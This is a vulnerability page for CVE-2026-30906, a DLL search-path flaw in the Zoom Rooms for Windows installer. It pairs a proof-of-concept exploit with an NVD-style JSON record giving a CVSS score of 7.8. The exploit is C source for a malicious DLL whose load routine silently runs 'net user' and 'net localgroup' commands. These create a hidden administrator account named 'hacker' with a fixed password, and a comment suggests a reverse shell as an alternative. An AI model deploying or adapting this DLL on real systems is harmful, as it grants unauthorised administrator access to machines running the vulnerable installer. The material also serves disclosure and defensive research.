CVE-2026-30906

/* * PoC for CVE-2026-30906 - Untrusted Search Path * This is a malicious DLL source code (e.g., fake_msvcr120.dll) * Compile as a DLL and place it in the untrusted path. */ #include <windows.h> #include <stdlib.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code to execute when the DLL is loaded by the installer // Example: Add a new user or start a reverse shell WinExec("cmd.exe /c net user hacker P@ssw0rd /add", SW_HIDE); WinExec("cmd.exe /c net localgroup administrators hacker /add", SW_HIDE); MessageBox(NULL, L"Exploit Executed!", L"CVE-2026-30906", MB_OK); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

{"cve": {"id": "CVE-2026-30906", "sourceIdentifier": "[email protected]", "published": "2026-05-13T19:17:05.540", "lastModified": "2026-05-14T18:15:05.433", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Untrusted search path in the installer for Zoom Rooms for Windows before version 7.0.0 may allow an authenticated user to enable an escalation of privilege via local access."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-426"}]}], "references": [{"url": "https://www.zoom.com/en/trust/security-bulletin/zsb-26008", "source": "[email protected]"}]}}